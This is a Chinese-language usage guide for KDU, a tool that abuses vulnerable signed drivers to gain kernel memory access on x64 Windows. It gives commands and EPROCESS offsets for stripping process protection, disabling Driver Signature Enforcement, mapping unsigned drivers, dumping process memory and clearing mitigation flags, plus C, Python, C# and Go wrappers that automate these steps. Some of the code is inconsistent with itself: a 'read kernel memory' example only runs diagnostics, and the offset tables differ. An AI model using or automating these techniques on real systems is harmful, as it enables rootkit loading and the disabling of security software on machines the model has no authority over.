目录
项目概述
KDU (Kernel Driver Utility) 是一个强大的Windows内核探索工具,它利用已知存在的易受攻击驱动程序(或故意设计的"后门"驱动)来访问任意内核内存。
主要特性
Protected Process 劫持:通过修改进程对象降级保护级别
DSE (Driver Signature Enforcement) 覆盖:类似 DSEFix 功能
驱动加载器:绕过驱动签名强制,类似 TDL/Stryker
支持多种易受攻击驱动程序:作为功能"提供者"
项目结构
KDU/
├── Source/
│ ├── Hamakaze/ # 主程序 (kdu.exe)
│ ├── Taigei/ # DLL驱动数据库 (drv64.dll)
│ ├── Tanikaze/ # 独立驱动版本
│ └── Examples/ # 示例代码
├── Help/ # 帮助截图
└── README.md系统要求
操作系统:x64 Windows 7/8/8.1/10/11
权限:需要管理员权限
文件要求:
kdu.exe和drv64.dll必须在同一目录HVCI:某些provider不支持HVCI环境
核心功能
1. 进程保护操作
2. DSE 操作
3. 驱动映射
4. 诊断与信息
工作原理详解
整体架构
┌─────────────────────────────────────────────────────────────┐
│ KDU.exe │
├─────────────────────────────────────────────────────────────┤
│ 1. Provider Layer (易受攻击驱动) │
│ └── 提供内核内存读写原语 │
│ │
│ 2. Victim Layer (受害者驱动) │
│ └── Process Explorer等合法签名的驱动 │
│ │
│ 3. Shellcode Layer │
│ └── 在受害者驱动的IRP处理程序中执行的bootstrap代码 │
│ │
│ 4. Payload Layer │
│ └── 要加载的自定义驱动程序 │
└─────────────────────────────────────────────────────────────┘核心数据结构
// KDU上下文结构
typedef struct _KDU_CONTEXT {
ULONG HvciEnabled; // HVCI是否启用
ULONG NtBuildNumber; // NT构建号
ULONG ShellVersion; // Shellcode版本
ULONG EncryptKey; // 加密密钥
HINSTANCE ModuleBase; // drv64.dll模块基址
ULONG_PTR NtOsBase; // ntoskrnl加载基址
HANDLE DeviceHandle; // Provider设备句柄
PWSTR DriverFileName; // 易受攻击驱动文件名
PKDU_PROVIDER Provider; // Provider信息
PKDU_VICTIM_PROVIDER Victim; // 受害者驱动信息
} KDU_CONTEXT;
// Provider回调函数
typedef struct _KDU_PROVIDER {
provReadKernelVM ReadKernelVM; // 读内核虚拟内存
provWriteKernelVM WriteKernelVM; // 写内核虚拟内存
provMapDriver MapDriver; // 映射驱动
provControlDSE ControlDSE; // 控制DSE
// ... 更多回调
} KDU_PROVIDER;Shellcode 执行流程
1. Shellcode初始化阶段
└── 定位 ntoskrnl.exe 基址
└── 解析必要的内核函数地址
2. 创建共享内存区域
└── 包含加密的payload驱动
└── 包含shellcode参数
3. 修改受害者驱动
└── 定位 IRP_MJ_DEVICE_CONTROL 处理程序
└── 注入shellcode
4. 执行Shellcode
└── 受害者驱动接收IRP请求
└── Shellcode执行,解密payload
└── 重定位PE映像
└── 创建系统线程执行DriverEntry命令行使用教程
基本语法
kdu [Provider] [Command] [Options]1. 列出可用的Providers
kdu -list输出示例:
Id Vendor Driver Software
0 Intel IQVM64 Network Adapter Diagnostic Driver
1 MSI RTCore64 MSI Afterburner
2 Gigabyte Gdrv Gigabyte TOOLS
6 G.SKILL EneIo64 G.SKILL Trident Z Lighting Control
...2. 运行系统诊断
kdu -diag诊断内容:
Windows版本信息
CPU厂商信息
SecureBoot状态
HVCI状态
测试模式/调试模式状态
WHQL强制状态
Microsoft驱动阻止列表状态
3. 移除进程保护
# 移除PID为1234的进程保护
kdu -ps 1234
# 使用特定provider
kdu -prv 1 -ps 1234工作原理:
打开目标进程获取EPROCESS地址
根据Windows版本计算
PsProtection偏移读取当前保护级别
写入0来移除保护
PsProtection偏移表:
Windows 8.1 (9600) -> 0x67A
Windows 10 10240 -> 0x6AA
Windows 10 10586 -> 0x6B2
Windows 10 14393 -> 0x6C2
Windows 10 15063+ -> 0x6CA
Windows 10 19041+ -> 0x87A
Windows 11 26100+ -> 0x5FA4. 以PPL启动程序
# 以AntiMalware签名级别启动记事本
kdu -pse "C:\Windows\System32\notepad.exe C:\TEMP\words.txt"
# 以WinTcb签名级别启动cmd(最高保护)
kdu -psw "C:\Windows\System32\cmd.exe"
# 使用特定provider
kdu -prv 6 -pse "C:\Program\MyApp.exe"保护级别说明:
PS_PROTECTED_SIGNER值:
- PsProtectedSignerNone (0) : 无保护
- PsProtectedSignerAuthenticode (1): Authenticode签名
- PsProtectedSignerCodeGen (2) : 代码生成
- PsProtectedSignerAntimalware (3) : 反恶意软件
- PsProtectedSignerLsa (4) : LSA
- PsProtectedSignerWindows (5) : Windows
- PsProtectedSignerWinTcb (6) : Windows内核(最高)
PS_PROTECTED_TYPE值:
- PsProtectedTypeNone (0) : 无保护
- PsProtectedTypeProtectedLight (1): 轻量级保护
- PsProtectedTypeProtected (2) : 完全保护5. 修改DSE状态
# 禁用DSE(允许加载未签名驱动)
kdu -dse 0
# 重新启用DSE
kdu -dse 6
# 使用特定provider
kdu -prv 1 -dse 0DSE标志位:
#define CODEINTEGRITY_OPTION_TESTSIGN 0x1
#define CODEINTEGRITY_OPTION_DEBUGMODE_ENABLED 0x2
#define CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED 0x8
#define CODEINTEGRITY_OPTION_WHQL_ENFORCEMENT_ENABLED 0x206. 映射自定义驱动
# 基本用法(使用默认shellcode v1)
kdu -map C:\drivers\mydriver.sys
# 指定shellcode版本
kdu -scv 2 -map C:\drivers\mydriver.sys
# 使用shellcode v3(需要驱动对象名)
kdu -scv 3 -drvn MyDriver -map C:\drivers\mydriver.sys
# 完整示例:使用provider 6,shellcode v3,指定驱动名和注册表名
kdu -prv 6 -scv 3 -drvn TestDrv -drvr TestReg -map C:\drivers\test.sys驱动限制:
必须是"driverless"设计
不支持SEH
无法卸载(必须手动释放资源)
仅解析ntoskrnl导入
7. 转储进程内存
kdu -dmp 1234输出: vmem_pid_1234.dmp
8. 清除进程缓解标志
# 清除两个缓解标志
kdu -pm 1234
# 仅清除MitigationFlags1
kdu -pm1 1234
# 仅清除MitigationFlags2
kdu -pm2 1234编程语言调用
C/C++ 调用示例
#include <windows.h>
#include <stdio.h>
// 定义KDU上下文和回调类型
typedef BOOL (WINAPI*provReadKernelVM)(
HANDLE DeviceHandle,
ULONG_PTR Address,
PVOID Buffer,
ULONG NumberOfBytes
);
typedef BOOL (WINAPI*provWriteKernelVM)(
HANDLE DeviceHandle,
ULONG_PTR Address,
PVOID Buffer,
ULONG NumberOfBytes
);
// 简化的KDU上下文
typedef struct _KDU_CONTEXT_SIMPLE {
ULONG HvciEnabled;
ULONG NtBuildNumber;
HANDLE DeviceHandle;
PVOID Provider;
} KDU_CONTEXT_SIMPLE;
// 示例:使用KDU读取内核内存
BOOL ReadKernelMemoryExample(ULONG_PTR address, PVOID buffer, SIZE_T size)
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
// 构建命令行
char command[512];
snprintf(command, sizeof(command),
"kdu.exe -diag > output.txt");
// 执行KDU命令
if (!CreateProcess(NULL, command, NULL, NULL, FALSE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
printf("CreateProcess failed: %d\n", GetLastError());
return FALSE;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
}
// 示例:移除进程保护
BOOL UnprotectProcess(DWORD pid)
{
char command[256];
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
// 构建命令
snprintf(command, sizeof(command), "kdu.exe -ps %lu", pid);
// 执行
if (!CreateProcess(NULL, command, NULL, NULL, FALSE,
0, NULL, NULL, &si, &pi)) {
return FALSE;
}
WaitForSingleObject(pi.hProcess, INFINITE);
DWORD exitCode;
GetExitCodeProcess(pi.hProcess, &exitCode);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return exitCode == 1;
}
// 示例:映射驱动
BOOL MapDriver(const char* driverPath)
{
char command[MAX_PATH];
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
snprintf(command, sizeof(command),
"kdu.exe -map \"%s\"", driverPath);
if (!CreateProcess(NULL, command, NULL, NULL, FALSE,
0, NULL, NULL, &si, &pi)) {
return FALSE;
}
WaitForSingleObject(pi.hProcess, INFINITE);
DWORD exitCode;
GetExitCodeProcess(pi.hProcess, &exitCode);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return exitCode == 1;
}
int main()
{
// 示例1:移除进程保护
printf("Removing protection from PID 1234...\n");
if (UnprotectProcess(1234)) {
printf("Success!\n");
} else {
printf("Failed!\n");
}
// 示例2:映射驱动
printf("Mapping driver...\n");
if (MapDriver("C:\\drivers\\test.sys")) {
printf("Driver mapped successfully!\n");
}
return 0;
}Python 调用示例
import subprocess
import ctypes
from ctypes import wintypes
# 定义Windows API函数
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
def run_kdu_command(command):
"""执行KDU命令并返回结果"""
try:
full_cmd = f"kdu.exe {command}"
result = subprocess.run(
full_cmd,
shell=True,
capture_output=True,
text=True,
timeout=30
)
return result.returncode == 0, result.stdout, result.stderr
except subprocess.TimeoutExpired:
return False, "", "Command timed out"
except Exception as e:
return False, "", str(e)
def list_providers():
"""列出所有可用的providers"""
success, stdout, stderr = run_kdu_command("-list")
if success:
print("Available Providers:")
print(stdout)
return stdout.split('\n')
return None
def run_diagnostic():
"""运行系统诊断"""
success, stdout, stderr = run_kdu_command("-diag")
return success, stdout
def unprotect_process(pid, provider_id=0):
"""移除进程保护
Args:
pid: 进程ID
provider_id: Provider ID,默认为0
"""
cmd = f"-prv {provider_id} -ps {pid}"
success, stdout, stderr = run_kdu_command(cmd)
return success, stdout
def run_as_ppl(command_line, highest=False, provider_id=0):
"""以PPL级别启动程序
Args:
command_line: 要执行的命令行
highest: 是否使用最高保护级别(WinTcb)
provider_id: Provider ID
"""
if highest:
cmd = f'-prv {provider_id} -psw "{command_line}"'
else:
cmd = f'-prv {provider_id} -pse "{command_line}"'
success, stdout, stderr = run_kdu_command(cmd)
return success, stdout
def disable_dse(provider_id=0):
"""禁用DSE(驱动签名强制)"""
cmd = f"-prv {provider_id} -dse 0"
success, stdout, stderr = run_kdu_command(cmd)
return success, stdout
def enable_dse(provider_id=0):
"""启用DSE"""
cmd = f"-prv {provider_id} -dse 6"
success, stdout, stderr = run_kdu_command(cmd)
return success, stdout
def map_driver(driver_path, shellcode_version=1,
driver_name=None, registry_name=None, provider_id=0):
"""映射驱动到内核
Args:
driver_path: 驱动文件路径
shellcode_version: Shellcode版本 (1-4)
driver_name: 驱动对象名(v3需要)
registry_name: 注册表键名(可选)
provider_id: Provider ID
"""
cmd = f"-prv {provider_id} -scv {shellcode_version}"
if driver_name and shellcode_version == 3:
cmd += f" -drvn {driver_name}"
if registry_name:
cmd += f" -drvr {registry_name}"
cmd += f" -map \"{driver_path}\""
success, stdout, stderr = run_kdu_command(cmd)
return success, stdout
def dump_process_memory(pid, provider_id=0):
"""转储进程内存"""
cmd = f"-prv {provider_id} -dmp {pid}"
success, stdout, stderr = run_kdu_command(cmd)
return success, stdout
def remove_mitigation_flags(pid, provider_id=0):
"""清除进程缓解标志"""
cmd = f"-prv {provider_id} -pm {pid}"
success, stdout, stderr = run_kdu_command(cmd)
return success, stdout
# 使用示例
if __name__ == "__main__":
print("=== KDU Python Wrapper 示例 ===\n")
# 1. 列出providers
print("1. 列出可用的Providers:")
providers = list_providers()
# 2. 运行诊断
print("\n2. 运行系统诊断:")
success, output = run_diagnostic()
if success:
print(output[:200] + "...")
# 3. 移除进程保护
print("\n3. 移除进程保护 (PID 1234):")
success, output = unprotect_process(1234)
print(f"结果: {'成功' if success else '失败'}")
# 4. 以PPL启动记事本
print("\n4. 以PPL-AntiMalware启动记事本:")
success, output = run_as_ppl("notepad.exe")
print(f"结果: {'成功' if success else '失败'}")
# 5. 映射驱动
print("\n5. 映射驱动:")
success, output = map_driver(
r"C:\drivers\test.sys",
shellcode_version=1,
provider_id=0
)
print(f"结果: {'成功' if success else '失败'}")
if not success:
print(f"错误: {output}")C# 调用示例
using System;
using System.Diagnostics;
using System.IO;
public class KDUWrapper : IDisposable
{
private readonly string _kduPath;
private readonly string _workingDirectory;
public KDUWrapper(string kduPath = "kdu.exe", string workingDirectory = null)
{
_kduPath = kduPath;
_workingDirectory = workingDirectory ?? Path.GetDirectoryName(kduPath);
}
private (bool Success, string StdOut, string StdErr) RunCommand(string arguments, int timeoutMs = 30000)
{
try
{
var psi = new ProcessStartInfo
{
FileName = _kduPath,
Arguments = arguments,
UseShellExecute = false,
RedirectStandardOutput = true,
RedirectStandardError = true,
CreateNoWindow = true,
WorkingDirectory = _workingDirectory
};
using var process = Process.Start(psi);
var stdout = process.StandardOutput.ReadToEnd();
var stderr = process.StandardError.ReadToEnd();
bool exited = process.WaitForExit(timeoutMs);
if (!exited)
{
process.Kill();
return (false, stdout, "Command timed out");
}
return (process.ExitCode == 1 || process.ExitCode == 0, stdout, stderr);
}
catch (Exception ex)
{
return (false, "", ex.Message);
}
}
public bool ListProviders()
{
var result = RunCommand("-list");
Console.WriteLine(result.StdOut);
return result.Success;
}
public bool RunDiagnostic()
{
var result = RunCommand("-diag");
Console.WriteLine(result.StdOut);
return result.Success;
}
public bool UnprotectProcess(uint pid, uint providerId = 0)
{
var result = RunCommand($"-prv {providerId} -ps {pid}");
return result.Success;
}
public bool RunAsPPL(string commandLine, bool highest = false, uint providerId = 0)
{
string switchName = highest ? "-psw" : "-pse";
var result = RunCommand($"-prv {providerId} {switchName} \"{commandLine}\"");
return result.Success;
}
public bool DisableDSE(uint providerId = 0)
{
var result = RunCommand($"-prv {providerId} -dse 0");
return result.Success;
}
public bool EnableDSE(uint providerId = 0)
{
var result = RunCommand($"-prv {providerId} -dse 6");
return result.Success;
}
public bool MapDriver(string driverPath, int shellcodeVersion = 1,
string driverName = null, string registryName = null, uint providerId = 0)
{
string args = $"-prv {providerId} -scv {shellcodeVersion}";
if (!string.IsNullOrEmpty(driverName) && shellcodeVersion == 3)
{
args += $" -drvn {driverName}";
if (!string.IsNullOrEmpty(registryName))
{
args += $" -drvr {registryName}";
}
}
args += $" -map \"{driverPath}\"";
var result = RunCommand(args);
return result.Success;
}
public bool DumpProcessMemory(uint pid, uint providerId = 0)
{
var result = RunCommand($"-prv {providerId} -dmp {pid}");
return result.Success;
}
public void Dispose()
{
// 清理资源
}
}
// 使用示例
class Program
{
static void Main()
{
using var kdu = new KDUWrapper();
Console.WriteLine("=== KDU C# Wrapper 示例 ===\n");
// 列出providers
Console.WriteLine("1. 列出Providers:");
kdu.ListProviders();
// 运行诊断
Console.WriteLine("\n2. 系统诊断:");
kdu.RunDiagnostic();
// 移除进程保护
Console.WriteLine("\n3. 移除进程保护:");
bool success = kdu.UnprotectProcess(1234);
Console.WriteLine($"结果: {(success ? "成功" : "失败")}");
// 映射驱动
Console.WriteLine("\n4. 映射驱动:");
success = kdu.MapDriver(
@"C:\drivers\test.sys",
shellcodeVersion: 1,
providerId: 0
);
Console.WriteLine($"结果: {(success ? "成功" : "失败")}");
}
}Go 调用示例
package main
import (
"bytes"
"fmt"
"os/exec"
"strings"
"time"
)
type KDUClient struct {
KDUPath string
WorkDir string
Timeout time.Duration
}
func NewKDUClient(kduPath string) *KDUClient {
return &KDUClient{
KDUPath: kduPath,
Timeout: 30 * time.Second,
}
}
func (c *KDUClient) RunCommand(args string) (bool, string, string) {
cmd := exec.Command(c.KDUPath, strings.Fields(args)...)
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
if err := cmd.Start(); err != nil {
return false, "", err.Error()
}
done := make(chan error, 1)
go func() {
done <- cmd.Wait()
}()
select {
case <-time.After(c.Timeout):
cmd.Process.Kill()
return false, "", "Command timed out"
case err := <-done:
if err != nil {
return false, stdout.String(), stderr.String()
}
return true, stdout.String(), stderr.String()
}
}
func (c *KDUClient) ListProviders() (bool, string) {
success, stdout, _ := c.RunCommand("-list")
return success, stdout
}
func (c *KDUClient) RunDiagnostic() (bool, string) {
success, stdout, _ := c.RunCommand("-diag")
return success, stdout
}
func (c *KDUClient) UnprotectProcess(pid uint, providerId uint) (bool, string) {
args := fmt.Sprintf("-prv %d -ps %d", providerId, pid)
return c.RunCommand(args)
}
func (c *KDUClient) RunAsPPL(command string, highest bool, providerId uint) (bool, string) {
var switchName string
if highest {
switchName = "-psw"
} else {
switchName = "-pse"
}
args := fmt.Sprintf("-prv %d %s \"%s\"", providerId, switchName, command)
return c.RunCommand(args)
}
func (c *KDUClient) DisableDSE(providerId uint) (bool, string) {
args := fmt.Sprintf("-prv %d -dse 0", providerId)
return c.RunCommand(args)
}
func (c *KDUClient) EnableDSE(providerId uint) (bool, string) {
args := fmt.Sprintf("-prv %d -dse 6", providerId)
return c.RunCommand(args)
}
func (c *KDUClient) MapDriver(driverPath string, shellcodeVersion int,
driverName string, registryName string, providerId uint) (bool, string) {
args := fmt.Sprintf("-prv %d -scv %d", providerId, shellcodeVersion)
if driverName != "" && shellcodeVersion == 3 {
args += fmt.Sprintf(" -drvn %s", driverName)
if registryName != "" {
args += fmt.Sprintf(" -drvr %s", registryName)
}
}
args += fmt.Sprintf(" -map \"%s\"", driverPath)
return c.RunCommand(args)
}
func (c *KDUClient) DumpProcessMemory(pid uint, providerId uint) (bool, string) {
args := fmt.Sprintf("-prv %d -dmp %d", providerId, pid)
return c.RunCommand(args)
}
func main() {
kdu := NewKDUClient("kdu.exe")
fmt.Println("=== KDU Go Wrapper 示例 ===\n")
// 列出providers
fmt.Println("1. 列出Providers:")
success, output := kdu.ListProviders()
if success {
fmt.Println(output)
}
// 运行诊断
fmt.Println("\n2. 系统诊断:")
success, output = kdu.RunDiagnostic()
if success {
fmt.Println(output[:200] + "...")
}
// 移除进程保护
fmt.Println("\n3. 移除进程保护:")
success, _ = kdu.UnprotectProcess(1234, 0)
fmt.Printf("结果: %v\n", success)
// 映射驱动
fmt.Println("\n4. 映射驱动:")
success, _ = kdu.MapDriver(
"C:\\drivers\\test.sys",
1,
"",
"",
0,
)
fmt.Printf("结果: %v\n", success)
}Provider详解
KDU使用"Provider"模式来抽象不同的易受攻击驱动程序。每个Provider提供基本的内核内存读写能力。
Provider接口
typedef struct _KDU_PROVIDER {
PKDU_DB_ENTRY LoadData; // 驱动数据库条目
struct {
// 必需回调
provStartVulnerableDriver StartVulnerableDriver;
provStopVulnerableDriver StopVulnerableDriver;
provMapDriver MapDriver;
// 可选回调
provRegisterDriver RegisterDriver;
provUnregisterDriver UnregisterDriver;
provPreOpenDriver PreOpenDriver;
provPostOpenDriver PostOpenDriver;
provControlDSE ControlDSE;
provReadKernelVM ReadKernelVM;
provWriteKernelVM WriteKernelVM;
provVirtualToPhysical VirtualToPhysical;
provQueryPML4Value QueryPML4Value;
provReadPhysicalMemory ReadPhysicalMemory;
provWritePhysicalMemory WritePhysicalMemory;
provValidatePrerequisites ValidatePrerequisites;
provOpenProcess OpenProcess;
} Callbacks;
} KDU_PROVIDER;主要Provider类型
1. WinIo类型
使用WinIo 3.0系列驱动的Provider。这些驱动提供物理内存访问。
特点:
物理内存读写
虚拟到物理地址转换
需要PML4基址
示例Provider:
ID 4: Patriot Viper RGB (MsIo64)
ID 5: ASRock Polychrome RGB (GLCKIO2)
ID 6: G.SKILL Trident Z (EneIo64)
2. WinRing0类型
使用WinRing0驱动的Provider。
特点:
端口I/O访问
物理内存访问
MSR读写
示例Provider:
ID 7: EVGA Precision X1 (WinRing0x64)
ID 42: SLIC ToolKit (PhyDMACC)
ID 53: Hardware read & write driver (HwRwDrv)
3. MAPMEM类型
使用内存映射驱动的Provider。
特点:
MmMapIoSpaceEx漏洞利用
物理内存映射
示例Provider:
ID 2: Gigabyte TOOLS (Gdrv)
ID 24: CODESYS SysDrv3S
4. RWEverything类型
类似RWEverything的驱动。
示例Provider:
ID 28: ASRock Phantom Gaming (AsrDrv106)
ID 48-51: ASRock系列驱动
Provider选择建议
Shellcode版本
KDU支持多种Shellcode版本,每种版本针对不同场景优化。
Shellcode V1
特点:
使用PsCreateSystemThread创建系统线程
在系统线程中执行DriverEntry
最稳定,兼容性最好
适用场景:
大多数常规驱动加载
需要最佳兼容性时
Payload Header:
typedef struct _PAYLOAD_HEADER_V1 {
ULONG ImageSize;
IO_STATUS_BLOCK IoStatus;
pfnPsCreateSystemThread PsCreateSystemThread;
pfnZwClose ZwClose;
} PAYLOAD_HEADER_V1;Shellcode V2
特点:
使用ExQueueWorkItem在系统工作队列中执行
无需创建线程
适用场景:
V1不可用的特殊情况
需要在工作队列上下文执行
Payload Header:
typedef struct _PAYLOAD_HEADER_V2 {
ULONG ImageSize;
IO_STATUS_BLOCK IoStatus;
pfnExQueueWorkItem ExQueueWorkItem;
} PAYLOAD_HEADER_V2;Shellcode V3
特点:
创建完整的DRIVER_OBJECT
支持自定义驱动对象名和注册表路径
最复杂但最灵活
适用场景:
需要完整驱动对象功能
需要特定驱动名称
使用要求:
kdu -scv 3 -drvn MyDriverName -map driver.sysPayload Header:
typedef struct _PAYLOAD_HEADER_V3 {
ULONG ImageSize;
IO_STATUS_BLOCK IoStatus;
PVOID IoDriverObjectType;
pfnObCreateObject ObCreateObject;
pfnObInsertObject ObInsertObject;
pfnObMakeTemporaryObject ObMakeTemporaryObject;
pfnZwMakeTemporaryObject ZwMakeTemporaryObject;
pfnZwClose ZwClose;
FIXED_UNICODE_STRING ObjectName;
FIXED_UNICODE_STRING RegistryPath;
} PAYLOAD_HEADER_V3;Shellcode V4
特点:
预留版本
未来功能扩展
Shellcode选择流程图
┌─────────────────────────────────────────┐
│ 需要加载驱动? │
└─────────────────┬───────────────────────┘
│
▼
┌─────────────────┐
│ 需要完整驱动对象? │
└────────┬────────┘
│
┌───────┴───────┐
│Yes │No
▼ ▼
┌─────────┐ ┌─────────┐
│V3 +名字 │ │ V1 │
└─────────┘ └─────────┘安全注意事项
免责声明
本工具仅供教育和研究目的使用。使用本工具可能导致系统崩溃(BSOD)。作者不对任何损害负责。
风险因素
系统稳定性
使用易受攻击的驱动可能导致蓝屏
错误的操作可能破坏系统完整性
建议在虚拟机中使用
安全软件检测
杀毒软件可能标记为恶意软件
反作弊系统会检测到相关行为
使用风险自负
PatchGuard
某些操作可能触发PatchGuard检测
延迟BSOD可能发生
不建议在生产环境使用
法律问题
仅应在授权环境中使用
某些用途可能违反法律
用户自行承担法律责任
最佳实践
# 1. 始终先运行诊断
kdu -diag
# 2. 在虚拟机中测试
# 3. 使用快照以便恢复
# 4. 从最低风险操作开始
# 5. 记录所有操作常见问题
Q1: KDU需要管理员权限吗?
A: 是的,KDU需要管理员权限才能加载驱动和访问内核内存。
Q2: 支持哪些Windows版本?
A: 支持x64版本的Windows 7、8、8.1、10和11。不支持32位版本。
Q3: kdu.exe和drv64.dll必须在一起吗?
A: 是的,drv64.dll包含所有易受攻击驱动的数据库,必须与kdu.exe在同一目录。
Q4: 如何知道哪个Provider可用?
A: 运行kdu.exe -list查看所有可用的Providers和它们的状态。
Q5: Shellcode版本如何选择?
A:
V1: 默认选择,最稳定
V2: 当V1不工作时尝试
V3: 需要完整驱动对象时使用,必须指定驱动名
Q6: 为什么会出现BSOD?
A: 可能原因:
Provider驱动与系统不兼容
操作触发了PatchGuard
目标驱动有错误
HVCI阻止了操作
Q7: HVCI环境可以使用吗?
A: 某些Provider不支持HVCI。运行kdu -diag查看HVCI状态。
Q8: 如何恢复被修改的DSE设置?
A: 运行 kdu -dse 6 恢复默认DSE设置。
Q9: 映射的驱动如何卸载?
A: KDU映射的驱动无法自动卸载。驱动必须在DriverUnload中释放所有资源,并设置DriverUnload为NULL。
Q10: 可以加载任何驱动吗?
A: 不可以。驱动必须:
专门设计为"driverless"
不依赖DriverEntry参数
不使用SEH
仅依赖ntoskrnl导入
Q11: 错误代码含义
Q12: 编译问题
要求:
Visual Studio 2019或更高版本
Windows Driver Kit 10
Release模式(Debug模式某些功能不可用)
附录
A. 完整命令参考
kdu [选项]
选项:
-list 列出可用的providers
-diag 运行系统诊断
-prv <id> 选择provider ID(默认:0)
-ps <pid> 移除进程保护
-pse <cmd> 以PPL-AntiMalware启动程序
-psw <cmd> 以PPL-WinTcb启动程序
-pm <pid> 清除进程缓解标志1和2
-pm1 <pid> 清除进程缓解标志1
-pm2 <pid> 清除进程缓解标志2
-dmp <pid> 转储进程内存
-dse <value> 修改DSE状态
-map <file> 映射驱动
-scv <version> Shellcode版本(1-4,默认:1)
-drvn <name> 驱动对象名(V3需要)
-drvr <name> 驱动注册表键名(可选)B. EPROCESS偏移参考
// PsProtection 偏移
#define PsProtectionOffset_9600 0x67A // Windows 8.1
#define PsProtectionOffset_10240 0x6AA // Windows 10 TH1
#define PsProtectionOffset_10586 0x6B2 // Windows 10 TH2
#define PsProtectionOffset_14393 0x6C2 // Windows 10 RS1
#define PsProtectionOffset_15063 0x6CA // Windows 10 RS2-RS5
#define PsProtectionOffset_18362 0x6FA // Windows 10 19H1/20H1
#define PsProtectionOffset_18363 0x6FA // Windows 10 20H2/21H1/21H2
#define PsProtectionOffset_19041 0x87A // Windows 10 20H2+
#define PsProtectionOffset_26100 0x5FA // Windows 11 24H2+
// MitigationFlags 偏移
#define PsMitigationFlags1Offset_26100 0x750
#define PsMitigationFlags2Offset_26100 0x754C. 参考资源
Stryker: https://github.com/hfiref0x/Stryker
LOLDrivers: https://www.loldrivers.io
D. 示例驱动代码结构
// Driverless驱动模板
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
// 注意:这些参数在KDU映射时无效
// 初始化代码
// 不要使用RegistryPath
// 设置DriverUnload为NULL
DriverObject->DriverUnload = NULL;
// 释放所有分配的资源
// ...
return STATUS_SUCCESS;
}